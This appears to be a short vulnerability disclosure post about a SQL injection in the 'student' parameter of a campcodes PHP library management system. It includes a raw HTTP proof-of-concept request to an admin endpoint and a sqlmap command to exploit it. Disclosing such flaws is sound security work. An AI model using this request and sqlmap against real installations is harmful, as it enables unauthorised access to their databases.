libsystem foreground SQL injection vulnerability 3

heishou
2 min readDec 29, 2023

--

Author: Heishou
Affected Version: 1.0
Manufacturer: www.campcodes.com/
Download Address:
https://www.campcodes.com/downloads/online-college-library-system-using-php-mysqli-source-code/?wpdmdl=3277&refresh=658a63d73b4b31703568343
Vulnerability Description:
SQL injection vulnerability in foreground
Environment:

Code analysis:
This code assigns the parameter value named ‘student’ in $_POST directly to the $student variable without any filtering or validation. This could allow attackers to perform SQL injection by constructing malicious input.

SQLmap:

POC

POST /libsystem/admin/return_add.php HTTP/1.1
Host: localhost
Content-Length: 40
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/libsystem/admin/return.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=br4agt4sl0uctkh9hn8p8fmam7
Connection: close

student=1&isbn%5B%5D=1&isbn%5B%5D=1&add=

python sqlmap.py -r 2.txt

--

--